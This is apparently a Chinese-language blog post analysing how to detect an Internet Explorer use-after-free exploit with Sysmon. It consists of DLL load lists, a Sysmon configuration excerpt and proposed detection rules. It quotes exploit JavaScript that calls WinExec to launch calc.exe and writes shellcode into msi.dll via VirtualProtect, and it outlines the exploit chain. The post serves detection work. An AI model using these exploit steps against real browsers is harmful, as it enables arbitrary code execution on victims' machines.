C:\Windows\System32\zh-CN\ieframe.dll.mui ieproxy.dll IE ActiveX Interface Marshaling Library Microsoft Corporation C:\Windows\SysWOW64\ieproxy.dll iertutil.dll Internet Explorer 的运行时实用程序 Microsoft Corporation C:\Windows\SysWOW64\iertutil.dll IEShims.dll Internet Explorer Compatibility Shims Microsoft Corporation C:\Program Files (x86)\Internet Explorer\IEShims.dll ieui.dll Internet Explorer UI 引擎 Microsoft Corporation C:\Windows\SysWOW64\ieui.dll iexplore.exe Internet Explorer Microsoft Corporation C:\Program Files (x86)\Internet Explorer\iexplore.exe iexplore.exe.mui Internet Explorer Microsoft Corporation C:\Program Files\internet explorer\zh-CN\iexplore.exe.mui imageres.dll Windows Image Resource Microsoft Corporation C:\Windows\SysWOW64\imageres.dll imageres.dll.mui Windows Image Resource Microsoft Corporation C:\Windows\System32\en-US\imageres.dll.mui imm32.dll Multi-User Windows IMM32 API Client DLL Microsoft Corporation C:\Windows\SysWOW64\imm32.dll IPHLPAPI.DLL IP Helper API Microsoft Corporation C:\Windows\SysWOW64\IPHLPAPI.DLL jscript9.dll Microsoft (R) JScript Microsoft Corporation C:\Windows\SysWOW64\jscript9.dll kernel.appcore.dll AppModel API Host Microsoft Corporation C:\Windows\SysWOW64\kernel.appcore.dll kernel32.dll Windows NT BASE API Client DLL Microsoft Corporation C:\Windows\SysWOW64\kernel32.dll KernelBase.dll Windows NT BASE API Client DLL Microsoft Corporation C:\Windows\SysWOW64\KernelBase.dll KernelBase.dll.mui Windows NT 基本 API 客户端 DLL Microsoft Corporation C:\Windows\System32\zh-CN\KernelBase.dll.mui locale.nls C:\Windows\System32\locale.nls mlang.dll Multi Language Support DLL Microsoft Corporation C:\Windows\SysWOW64\mlang.dll mlang.dll.mui 多语言支持 DLL Microsoft Corporation C:\Windows\System32\zh-CN\mlang.dll.mui mpr.dll Multiple Provider Router DLL Microsoft Corporation C:\Windows\SysWOW64\mpr.dll msasn1.dll ASN.1 Runtime APIs Microsoft Corporation C:\Windows\SysWOW64\msasn1.dll msctf.dll MSCTF Server DLL Microsoft Corporation C:\Windows\SysWOW64\msctf.dll mshtml.dll Microsoft (R) HTML 查看器 Microsoft Corporation C:\Windows\SysWOW64\mshtml.dll mshtml.dll.mui Microsoft (R) HTML 查看器 Microsoft Corporation C:\Windows\System32\zh-CN\mshtml.dll.mui msi.dll Windows Installer Microsoft Corporation C:\Windows\SysWOW64\msi.dll msimtf.dll Active IMM Server DLL Microsoft Corporation C:\Windows\SysWOW64\msimtf.dll msIso.dll Isolation Library for Internet Explorer Microsoft Corporation C:\Windows\SysWOW64\msIso.dll msvcp_win.dll Microsoft® C Runtime Library Microsoft Corporation C:\Windows\SysWOW64\msvcp_win.dll msvcrt.dll Windows NT CRT DLL Microsoft Corporation C:\Windows\SysWOW64\msvcrt.dll mswsock.dll Microsoft Windows Sockets 2.0 Service Provider Microsoft Corporation C:\Windows\SysWOW64\mswsock.dll netapi32.dll Net Win32 API DLL Microsoft Corporation C:\Windows\SysWOW64\netapi32.dll netmsg.dll 网络消息 DLL Microsoft Corporation C:\Windows\SysWOW64\netmsg.dll netmsg.dll.mui 网络消息 DLL Microsoft Corporation C:\Windows\System32\zh-CN\netmsg.dll.mui netutils.dll Net Win32 API Helpers DLL Microsoft Corporation C:\Windows\SysWOW64\netutils.dll ninput.dll Microsoft Pen and Touch Input Component Microsoft Corporation C:\Windows\SysWOW64\ninput.dll nsi.dll NSI User-mode interface DLL Microsoft Corporation C:\Windows\SysWOW64\nsi.dll ntdll.dll NT 层 DLL Microsoft Corporation C:\Windows\SysWOW64\ntdll.dll ntdll.dll NT 层 DLL Microsoft Corporation C:\Windows\System32\ntdll.dll ntmarta.dll Windows NT MARTA provider Microsoft Corporation C:\Windows\SysWOW64\ntmarta.dll ole32.dll Microsoft OLE for Windows Microsoft Corporation C:\Windows\SysWOW64\ole32.dll oleaut32.dll OLEAUT32.DLL Microsoft Corporation C:\Windows\SysWOW64\oleaut32.dll OnDemandConnRouteHelper.dll On Demand Connctiond Route Helper Microsoft Corporation C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll OneCoreCommonProxyStub.dll OneCore Common Proxy Stub Microsoft Corporation C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll OneCoreUAPCommonProxyStub.dll OneCoreUAP Common Proxy Stub Microsoft Corporation C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll powrprof.dll Power Profile Helper DLL Microsoft Corporation C:\Windows\SysWOW64\powrprof.dll profapi.dll User Profile Basic API Microsoft Corporation C:\Windows\SysWOW64\profapi.dll propsys.dll Microsoft 属性系统 Microsoft Corporation C:\Windows\SysWOW64\propsys.dll propsys.dll.mui Microsoft 属性系统 Microsoft Corporation C:\Windows\System32\zh-CN\propsys.dll.mui R000000000006.clb C:\Windows\Registration\R000000000006.clb rmclient.dll Resource Manager Client Microsoft Corporation C:\Windows\SysWOW64\rmclient.dll rpcrt4.dll 远程过程调用运行时 Microsoft Corporation C:\Windows\SysWOW64\rpcrt4.dll scrrun.dll Microsoft ® Script Runtime Microsoft Corporation C:\Windows\SysWOW64\scrrun.dll scrrun.dll Microsoft ® Script Runtime Microsoft Corporation C:\Windows\SysWOW64\scrrun.dll sechost.dll Host for SCM/SDDL/LSA Lookup APIs Microsoft Corporation C:\Windows\SysWOW64\sechost.dll secur32.dll Security Support Provider Interface Microsoft Corporation C:\Windows\SysWOW64\secur32.dll SHCore.dll SHCORE Microsoft Corporation C:\Windows\SysWOW64\SHCore.dll shell32.dll Windows Shell Common Dll Microsoft Corporation C:\Windows\SysWOW64\shell32.dll shlwapi.dll 外壳简易实用工具库 Microsoft Corporation C:\Windows\SysWOW64\shlwapi.dll SortDefault.nls C:\Windows\Globalization\Sorting\SortDefault.nls srpapi.dll SRP APIs Dll Microsoft Corporation C:\Windows\SysWOW64\srpapi.dll sspicli.dll Security Support Provider Interface Microsoft Corporation C:\Windows\SysWOW64\sspicli.dll StaticCache.dat C:\Windows\Fonts\StaticCache.dat SuggestedSites.dat C:\Users\bonelee\AppData\Local\Microsoft\Windows\INetCache\Low\SuggestedSites.dat sxs.dll Fusion 2.5 Microsoft Corporation C:\Windows\SysWOW64\sxs.dll TextInputFramework.dll "TextInputFramework.DYNLINK" Microsoft Corporation C:\Windows\SysWOW64\TextInputFramework.dll tokenbinding.dll Token Binding Protocol Microsoft Corporation C:\Windows\SysWOW64\tokenbinding.dll twinapi.appcore.dll twinapi.appcore Microsoft Corporation C:\Windows\SysWOW64\twinapi.appcore.dll ucrtbase.dll Microsoft® C Runtime Library Microsoft Corporation C:\Windows\SysWOW64\ucrtbase.dll urlmon.dll Win32 的 OLE32 扩展 Microsoft Corporation C:\Windows\SysWOW64\urlmon.dll urlmon.dll.mui Win32 的 OLE32 扩展 Microsoft Corporation C:\Windows\System32\zh-CN\urlmon.dll.mui user32.dll 多用户 Windows 用户 API 客户端 DLL Microsoft Corporation C:\Windows\SysWOW64\user32.dll uxtheme.dll Microsoft UxTheme Library Microsoft Corporation C:\Windows\SysWOW64\uxtheme.dll vaultcli.dll Credential Vault Client Library Microsoft Corporation C:\Windows\SysWOW64\vaultcli.dll version.dll Version Checking and File Installation Libraries Microsoft Corporation C:\Windows\SysWOW64\version.dll vm3dum_10.dll VMware SVGA 3D D3D10 Client Driver VMware, Inc. C:\Windows\SysWOW64\vm3dum_10.dll vm3dum_loader.dll VMware SVGA 3D Usermode Driver Loader VMware, Inc. C:\Windows\SysWOW64\vm3dum_loader.dll win32u.dll Win32u Microsoft Corporation C:\Windows\SysWOW64\win32u.dll windows.storage.dll Microsoft WinRT Storage API Microsoft Corporation C:\Windows\SysWOW64\windows.storage.dll winhttp.dll Windows HTTP Services Microsoft Corporation C:\Windows\SysWOW64\winhttp.dll wininet.dll Internet Extensions for Win32 Microsoft Corporation C:\Windows\SysWOW64\wininet.dll winmm.dll MCI API DLL Microsoft Corporation C:\Windows\SysWOW64\winmm.dll winmmbase.dll Base Multimedia Extension API DLL Microsoft Corporation C:\Windows\SysWOW64\winmmbase.dll winnsi.dll Network Store Information RPC interface Microsoft Corporation C:\Windows\SysWOW64\winnsi.dll wintrust.dll Microsoft Trust Verification APIs Microsoft Corporation C:\Windows\SysWOW64\wintrust.dll WinTypes.dll Windows Base Types DLL Microsoft Corporation C:\Windows\SysWOW64\WinTypes.dll wkscli.dll Workstation Service Client DLL Microsoft Corporation C:\Windows\SysWOW64\wkscli.dll wldp.dll Windows Lockdown Policy Microsoft Corporation C:\Windows\SysWOW64\wldp.dll wow64.dll Win32 Emulation on NT64 Microsoft Corporation C:\Windows\System32\wow64.dll wow64cpu.dll AMD64 Wow64 CPU Microsoft Corporation C:\Windows\System32\wow64cpu.dll wow64win.dll Wow64 Console and Win32 API Logging Microsoft Corporation C:\Windows\System32\wow64win.dll ws2_32.dll Windows Socket 2.0 32-Bit DLL Microsoft Corporation C:\Windows\SysWOW64\ws2_32.dll |
太多了,不知道问题在哪里!我单独创建一个正常的html文件,然后使用ie加载,文件内容如下:
1 2 3 4 5 6 | < html > start! < script > alert("hi"); </ script > </ html > |
运行后,
加载的dll如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | Process: iexplore.exe Pid: 4808 Name Description Company Name Path {6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db {AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db C:\Users\bonelee\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db {DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db ~FontCache-FontFace.dat C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-FontFace.dat ~FontCache-S-1-5-21-2730912745-1723166478-227975165-1000.dat C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-S-1-5-21-2730912745-1723166478-227975165-1000.dat ~FontCache-System.dat C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\~FontCache-System.dat advapi32.dll Advanced Windows 32 Base API Microsoft Corporation C:\Windows\SysWOW64\advapi32.dll apphelp.dll 应用程序兼容性客户端库 Microsoft Corporation C:\Windows\SysWOW64\apphelp.dll bcrypt.dll Windows Cryptographic Primitives Library (Wow64) Microsoft Corporation C:\Windows\SysWOW64\bcrypt.dll bcryptprimitives.dll Windows Cryptographic Primitives Library Microsoft Corporation C:\Windows\SysWOW64\bcryptprimitives.dll C_1252.NLS C:\Windows\System32\C_1252.NLS cfgmgr32.dll Configuration Manager DLL Microsoft Corporation C:\Windows\SysWOW64\cfgmgr32.dll clbcatq.dll COM+ Configuration Catalog Microsoft Corporation C:\Windows\SysWOW64\clbcatq.dll combase.dll Microsoft COM for Windows Microsoft Corporation C:\Windows\SysWOW64\combase.dll comctl32.dll 用户体验控件库 Microsoft Corporation C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll comctl32.dll 用户体验控件库 Microsoft Corporation C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.737_none_4d637a531b9a7e51\comctl32.dll comdlg32.dll Common Dialogs DLL Microsoft Corporation C:\Windows\SysWOW64\comdlg32.dll CoreMessaging.dll Microsoft CoreMessaging Dll Microsoft Corporation C:\Windows\SysWOW64\CoreMessaging.dll CoreUIComponents.dll Microsoft Core UI Components Dll Microsoft Corporation C:\Windows\SysWOW64\CoreUIComponents.dll crypt32.dll Crypto API32 Microsoft Corporation C:\Windows\SysWOW64\crypt32.dll cryptbase.dll Base cryptographic API DLL Microsoft Corporation C:\Windows\SysWOW64\cryptbase.dll cryptsp.dll Cryptographic Service Provider API Microsoft Corporation C:\Windows\SysWOW64\cryptsp.dll cversions.2.db C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db cversions.2.db C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db d2d1.dll Microsoft D2D Library Microsoft Corporation C:\Windows\SysWOW64\d2d1.dll d3d11.dll Direct3D 11 Runtime Microsoft Corporation C:\Windows\SysWOW64\d3d11.dll DataExchange.dll Data exchange Microsoft Corporation C:\Windows\SysWOW64\DataExchange.dll dcomp.dll Microsoft DirectComposition Library Microsoft Corporation C:\Windows\SysWOW64\dcomp.dll directmanipulation.dll Microsoft Direct Manipulation Component Microsoft Corporation C:\Windows\SysWOW64\directmanipulation.dll dwmapi.dll Microsoft Desktop Window Manager API Microsoft Corporation C:\Windows\SysWOW64\dwmapi.dll DWrite.dll Microsoft DirectX Typography Services Microsoft Corporation C:\Windows\SysWOW64\DWrite.dll dxgi.dll DirectX Graphics Infrastructure Microsoft Corporation C:\Windows\SysWOW64\dxgi.dll efswrt.dll Storage Protection Windows Runtime DLL Microsoft Corporation C:\Windows\SysWOW64\efswrt.dll gdi32.dll GDI Client DLL Microsoft Corporation C:\Windows\SysWOW64\gdi32.dll gdi32full.dll GDI Client DLL Microsoft Corporation C:\Windows\SysWOW64\gdi32full.dll ieapfltr.dll Microsoft SmartScreen Filter Microsoft Corporation C:\Windows\SysWOW64\ieapfltr.dll ieframe.dll Internet 浏览器 Microsoft Corporation C:\Windows\SysWOW64\ieframe.dll ieframe.dll.mui Internet 浏览器 Microsoft Corporation C:\Windows\System32\zh-CN\ieframe.dll.mui ieproxy.dll IE ActiveX Interface Marshaling Library Microsoft Corporation C:\Windows\SysWOW64\ieproxy.dll iertutil.dll Internet Explorer 的运行时实用程序 Microsoft Corporation C:\Windows\SysWOW64\iertutil.dll IEShims.dll Internet Explorer Compatibility Shims Microsoft Corporation C:\Program Files (x86)\Internet Explorer\IEShims.dll ieui.dll Internet Explorer UI 引擎 Microsoft Corporation C:\Windows\SysWOW64\ieui.dll iexplore.exe Internet Explorer Microsoft Corporation C:\Program Files (x86)\Internet Explorer\iexplore.exe iexplore.exe.mui Internet Explorer Microsoft Corporation C:\Program Files\internet explorer\zh-CN\iexplore.exe.mui imageres.dll Windows Image Resource Microsoft Corporation C:\Windows\SysWOW64\imageres.dll imageres.dll.mui Windows Image Resource Microsoft Corporation C:\Windows\System32\en-US\imageres.dll.mui imm32.dll Multi-User Windows IMM32 API Client DLL Microsoft Corporation C:\Windows\SysWOW64\imm32.dll IPHLPAPI.DLL IP Helper API Microsoft Corporation C:\Windows\SysWOW64\IPHLPAPI.DLL jscript9.dll Microsoft (R) JScript Microsoft Corporation C:\Windows\SysWOW64\jscript9.dll kernel.appcore.dll AppModel API Host Microsoft Corporation C:\Windows\SysWOW64\kernel.appcore.dll kernel32.dll Windows NT BASE API Client DLL Microsoft Corporation C:\Windows\SysWOW64\kernel32.dll KernelBase.dll Windows NT BASE API Client DLL Microsoft Corporation C:\Windows\SysWOW64\KernelBase.dll locale.nls C:\Windows\System32\locale.nls mlang.dll Multi Language Support DLL Microsoft Corporation C:\Windows\SysWOW64\mlang.dll mlang.dll.mui 多语言支持 DLL Microsoft Corporation C:\Windows\System32\zh-CN\mlang.dll.mui mpr.dll Multiple Provider Router DLL Microsoft Corporation C:\Windows\SysWOW64\mpr.dll msasn1.dll ASN.1 Runtime APIs Microsoft Corporation C:\Windows\SysWOW64\msasn1.dll msctf.dll MSCTF Server DLL Microsoft Corporation C:\Windows\SysWOW64\msctf.dll mshtml.dll Microsoft (R) HTML 查看器 Microsoft Corporation C:\Windows\SysWOW64\mshtml.dll mshtml.dll.mui Microsoft (R) HTML 查看器 Microsoft Corporation C:\Windows\System32\zh-CN\mshtml.dll.mui msimtf.dll Active IMM Server DLL Microsoft Corporation C:\Windows\SysWOW64\msimtf.dll msIso.dll Isolation Library for Internet Explorer Microsoft Corporation C:\Windows\SysWOW64\msIso.dll msvcp_win.dll Microsoft® C Runtime Library Microsoft Corporation C:\Windows\SysWOW64\msvcp_win.dll msvcrt.dll Windows NT CRT DLL Microsoft Corporation C:\Windows\SysWOW64\msvcrt.dll mswsock.dll Microsoft Windows Sockets 2.0 Service Provider Microsoft Corporation C:\Windows\SysWOW64\mswsock.dll netapi32.dll Net Win32 API DLL Microsoft Corporation C:\Windows\SysWOW64\netapi32.dll netutils.dll Net Win32 API Helpers DLL Microsoft Corporation C:\Windows\SysWOW64\netutils.dll ninput.dll Microsoft Pen and Touch Input Component Microsoft Corporation C:\Windows\SysWOW64\ninput.dll nsi.dll NSI User-mode interface DLL Microsoft Corporation C:\Windows\SysWOW64\nsi.dll ntdll.dll NT 层 DLL Microsoft Corporation C:\Windows\SysWOW64\ntdll.dll ntdll.dll NT 层 DLL Microsoft Corporation C:\Windows\System32\ntdll.dll ntmarta.dll Windows NT MARTA provider Microsoft Corporation C:\Windows\SysWOW64\ntmarta.dll ole32.dll Microsoft OLE for Windows Microsoft Corporation C:\Windows\SysWOW64\ole32.dll oleaut32.dll OLEAUT32.DLL Microsoft Corporation C:\Windows\SysWOW64\oleaut32.dll OnDemandConnRouteHelper.dll On Demand Connctiond Route Helper Microsoft Corporation C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll OneCoreCommonProxyStub.dll OneCore Common Proxy Stub Microsoft Corporation C:\Windows\SysWOW64\OneCoreCommonProxyStub.dll OneCoreUAPCommonProxyStub.dll OneCoreUAP Common Proxy Stub Microsoft Corporation C:\Windows\SysWOW64\OneCoreUAPCommonProxyStub.dll powrprof.dll Power Profile Helper DLL Microsoft Corporation C:\Windows\SysWOW64\powrprof.dll profapi.dll User Profile Basic API Microsoft Corporation C:\Windows\SysWOW64\profapi.dll propsys.dll Microsoft 属性系统 Microsoft Corporation C:\Windows\SysWOW64\propsys.dll propsys.dll.mui Microsoft 属性系统 Microsoft Corporation C:\Windows\System32\zh-CN\propsys.dll.mui R000000000006.clb C:\Windows\Registration\R000000000006.clb rmclient.dll Resource Manager Client Microsoft Corporation C:\Windows\SysWOW64\rmclient.dll rpcrt4.dll 远程过程调用运行时 Microsoft Corporation C:\Windows\SysWOW64\rpcrt4.dll sechost.dll Host for SCM/SDDL/LSA Lookup APIs Microsoft Corporation C:\Windows\SysWOW64\sechost.dll secur32.dll Security Support Provider Interface Microsoft Corporation C:\Windows\SysWOW64\secur32.dll SHCore.dll SHCORE Microsoft Corporation C:\Windows\SysWOW64\SHCore.dll shell32.dll Windows Shell Common Dll Microsoft Corporation C:\Windows\SysWOW64\shell32.dll shlwapi.dll 外壳简易实用工具库 Microsoft Corporation C:\Windows\SysWOW64\shlwapi.dll simsun.ttc C:\Windows\Fonts\simsun.ttc SortDefault.nls C:\Windows\Globalization\Sorting\SortDefault.nls srpapi.dll SRP APIs Dll Microsoft Corporation C:\Windows\SysWOW64\srpapi.dll sspicli.dll Security Support Provider Interface Microsoft Corporation C:\Windows\SysWOW64\sspicli.dll StaticCache.dat C:\Windows\Fonts\StaticCache.dat SuggestedSites.dat C:\Users\bonelee\AppData\Local\Microsoft\Windows\INetCache\Low\SuggestedSites.dat TextInputFramework.dll "TextInputFramework.DYNLINK" Microsoft Corporation C:\Windows\SysWOW64\TextInputFramework.dll tokenbinding.dll Token Binding Protocol Microsoft Corporation C:\Windows\SysWOW64\tokenbinding.dll twinapi.appcore.dll twinapi.appcore Microsoft Corporation C:\Windows\SysWOW64\twinapi.appcore.dll ucrtbase.dll Microsoft® C Runtime Library Microsoft Corporation C:\Windows\SysWOW64\ucrtbase.dll urlmon.dll Win32 的 OLE32 扩展 Microsoft Corporation C:\Windows\SysWOW64\urlmon.dll urlmon.dll.mui Win32 的 OLE32 扩展 Microsoft Corporation C:\Windows\System32\zh-CN\urlmon.dll.mui user32.dll 多用户 Windows 用户 API 客户端 DLL Microsoft Corporation C:\Windows\SysWOW64\user32.dll uxtheme.dll Microsoft UxTheme Library Microsoft Corporation C:\Windows\SysWOW64\uxtheme.dll vaultcli.dll Credential Vault Client Library Microsoft Corporation C:\Windows\SysWOW64\vaultcli.dll version.dll Version Checking and File Installation Libraries Microsoft Corporation C:\Windows\SysWOW64\version.dll vm3dum_10.dll VMware SVGA 3D D3D10 Client Driver VMware, Inc. C:\Windows\SysWOW64\vm3dum_10.dll vm3dum_loader.dll VMware SVGA 3D Usermode Driver Loader VMware, Inc. C:\Windows\SysWOW64\vm3dum_loader.dll win32u.dll Win32u Microsoft Corporation C:\Windows\SysWOW64\win32u.dll windows.storage.dll Microsoft WinRT Storage API Microsoft Corporation C:\Windows\SysWOW64\windows.storage.dll winhttp.dll Windows HTTP Services Microsoft Corporation C:\Windows\SysWOW64\winhttp.dll wininet.dll Internet Extensions for Win32 Microsoft Corporation C:\Windows\SysWOW64\wininet.dll winmm.dll MCI API DLL Microsoft Corporation C:\Windows\SysWOW64\winmm.dll winmmbase.dll Base Multimedia Extension API DLL Microsoft Corporation C:\Windows\SysWOW64\winmmbase.dll winnsi.dll Network Store Information RPC interface Microsoft Corporation C:\Windows\SysWOW64\winnsi.dll wintrust.dll Microsoft Trust Verification APIs Microsoft Corporation C:\Windows\SysWOW64\wintrust.dll WinTypes.dll Windows Base Types DLL Microsoft Corporation C:\Windows\SysWOW64\WinTypes.dll wkscli.dll Workstation Service Client DLL Microsoft Corporation C:\Windows\SysWOW64\wkscli.dll wldp.dll Windows Lockdown Policy Microsoft Corporation C:\Windows\SysWOW64\wldp.dll wow64.dll Win32 Emulation on NT64 Microsoft Corporation C:\Windows\System32\wow64.dll wow64cpu.dll AMD64 Wow64 CPU Microsoft Corporation C:\Windows\System32\wow64cpu.dll wow64win.dll Wow64 Console and Win32 API Logging Microsoft Corporation C:\Windows\System32\wow64win.dll ws2_32.dll Windows Socket 2.0 32-Bit DLL Microsoft Corporation C:\Windows\SysWOW64\ws2_32.dll |
我们使用diff工具比较下差异:左边是hello world正常网页,右边是有上述漏洞页面的dll清单【从检测上看用处不大】
好了,看到核心的几个dll加载了!见后sysmon采集数据分析。
此外,还有handles的情况,diff比较的话,差异还很大:
先说核心流程(见后原理分析):
利用UAF读写内存==》在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》修改dom的虚表函数,替换自己想要执行的rpc函数==》构造dom元素,让js去执行rpc==》rpc执行,回调callback,执行恶意代码
如何检测?我们分析下检测点在哪里?
1、利用UAF读写内存==》从uaf检测视角看,需要跟踪浏览器里的各个对象的释放和读取情况,几乎是不可行的!当然,这里面肯定有修改内存读写和执行属性,这里可以成为检测点。==》从后面知道,sysmon是看不到的!
2、在内存里构造恶意rpc数据,内含rpc call back函数指针(这个就是恶意代码!shellcode在里面)==》从检测看,rpc调用是标准规范,恶意代码在回调的函数里,*****所以应检测这个恶意的回调函数****。==》可以看到fork的可疑calc.exe子进程!
3、修改dom的虚表函数,替换自己想要执行的rpc函数==》浏览器自己检查不严格机制造成的,本例看都是dom内部自己的函数替换,从检测视角看很难,得去记录每一个dom事件的虚表,看是否有替换。
4、构造dom元素,让js去执行rpc==》浏览器dom的机制而已。
5、rpc执行,回调callback,执行恶意代码==》浏览器dom事件的各种callback调用。
用sysmon采集下前面复现的案例,看看检测点!典型配置增加下采集规则(主要还是image的加载采集):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | <!--SYSMON EVENT ID 7 : DLL (IMAGE) LOADED BY PROCESS [ImageLoad]--> <!--COMMENT: Can cause high system load, disabled by default.--> <!--COMMENT: [ https://attack.mitre.org/wiki/Technique/T1073 ] [ https://attack.mitre.org/wiki/Technique/T1038 ] [ https://attack.mitre.org/wiki/Technique/T1034 ] --> <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, ImageLoaded, Hashes, Signed, Signature, SignatureStatus--> < RuleGroup name="" groupRelation="or"> < ImageLoad onmatch="exclude"> <!--NOTE: Using "include" with no rules means nothing in this section will be logged--> </ ImageLoad > </ RuleGroup > <!--SYSMON EVENT ID 8 : REMOTE THREAD CREATED [CreateRemoteThread]--> <!--COMMENT: Monitor for processes injecting code into other processes. Often used by malware to cloak their actions. Also when Firefox loads Flash. [ https://attack.mitre.org/wiki/Technique/T1055 ] --> <!--DATA: UtcTime, SourceProcessGuid, SourceProcessId, SourceImage, TargetProcessId, TargetImage, NewThreadId, StartAddress, StartModule, StartFunction--> < RuleGroup name="" groupRelation="or"> < CreateRemoteThread onmatch="exclude"> <!--COMMENT: Exclude mostly-safe sources and log anything else.--> </ CreateRemoteThread > </ RuleGroup > <!--SYSMON EVENT ID 9 : RAW DISK ACCESS [RawAccessRead]--> <!--EVENT 9: "RawAccessRead detected"--> <!--COMMENT: Can cause high system load, disabled by default.--> <!--COMMENT: Monitor for raw sector-level access to the disk, often used to bypass access control lists or access locked files. Disabled by default since including even one entry here activates this component. Reward/performance/rule maintenance decision. Encourage you to experiment with this feature yourself. [ https://attack.mitre.org/wiki/Technique/T1067 ] --> <!--COMMENT: You will likely want to set this to a full capture on domain controllers, where no process should be doing raw reads.--> <!--DATA: UtcTime, ProcessGuid, ProcessId, Image, Device--> < RuleGroup name="" groupRelation="or"> < RawAccessRead onmatch="exclude"> <!--NOTE: Using "include" with no rules means nothing in this section will be logged--> </ RawAccessRead > </ RuleGroup > <!--SYSMON EVENT ID 10 : INTER-PROCESS ACCESS [ProcessAccess]--> <!--EVENT 10: "Process accessed"--> <!--COMMENT: Can cause high system load, disabled by default.--> <!--COMMENT: Monitor for processes accessing other process' memory.--> <!--DATA: UtcTime, SourceProcessGuid, SourceProcessId, SourceThreadId, SourceImage, TargetProcessGuid, TargetProcessId, TargetImage, GrantedAccess, CallTrace--> < RuleGroup name="" groupRelation="or"> < ProcessAccess onmatch="include"> <!--NOTE: Using "include" with no rules means nothing in this section will be logged--> </ ProcessAccess > </ RuleGroup > |
首先看到的是启动了IE,打开了包含uaf漏洞利用的1809.html网页:
然后是创建了IE子进程,因为每一个tab标签页都会启动IE子进程:
IE子进程里加载rpc runtime DLL:
继续加载iframe和html viewer DLL:
IE加载JS引擎:
IE调用RPC proxy stub DLL:
IE加载script runtime dll和sxs.dll:
这个sxs.dll是啥作用?微软官方的说法是用来做查詢、安裝、卸載安装的程序服务。见:https://learn.microsoft.com/zh-hk/windows/win32/api/winsxs/
然后看到IE里fork了calc.exe:
calc.exe调用rpc runtime dll:
ie加载msi.dll:==》msi.dll是Windows安装程序MSI(Microsoft Installer)相关模块
对应代码:
1 2 3 4 5 | // 调用API,弹出计算器 // 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行calc.exe var kernel32 = call2(LoadLibraryExA,[newStr( 'kernel32.dll' ,0,1)]) var WinExec = getProcAddr(kernel32, 'WinExec' ) call2(WinExec,[newStr( 'calc.exe' ),5]) |
calc.exe加载了来自ie的utility dll:
调用rpc:
对于可疑内存的修改和进程执行,可以看到如下三个api的调用:virutalprotect、loadlibrary以及winexec,因此采集os api应该是可以知道有可疑的内存修改和进程执行动作,尤其是IE里执行这些API。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // 调用API,弹出计算器 // 通过在 kernel32.dll 模块导出表中查找 WinExec 函数的地址,然后使用其执行了命令行calc.exe var kernel32 = call2(LoadLibraryExA,[newStr( 'kernel32.dll' ,0,1)]) var WinExec = getProcAddr(kernel32, 'WinExec' ) call2(WinExec,[newStr( 'calc.exe' ),5]) // step5 执行 shellcode //加载 msi.dll 模块到进程中,将 shellcode 写入距 msi.dll 基址 0x5000 的位置,设置内存属性后执行之 var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3]) var msi = call2(LoadLibraryExA, [newStr( 'msi.dll' ), 0, 1]) + 0x5000 var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer]) writeData(msi, shellcode) // mov eax, 0x1337 ; ret call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer]) var result = call2(msi, []) // 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框 alert(result.toString(16)) |
好了,有了上面的分析,我们可以总结出如下核心的检测逻辑:
1、检测可疑的dll加载,msi.dll
2、检测os api: 对于可疑内存的修改和进程执行,可以看到如下三个api的调用:virutalprotect、loadlibrary以及winexec,因此采集os api应该是可以知道有可疑的内存修改和进程执行动作,尤其是IE里执行这些API。
3、检测可疑的子进程:ie里通过winexec启动xxx.exe这种。
基本上,从上面三个就可以判断是IE中的漏洞利用执行恶意代码了。
前面内容可能有点跳跃,我重点梳理下漏洞的原理:
首先是UAF漏洞的认识
Use After Free 我们可以直接从字面上翻译它的意思:使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:
内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃 内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题。
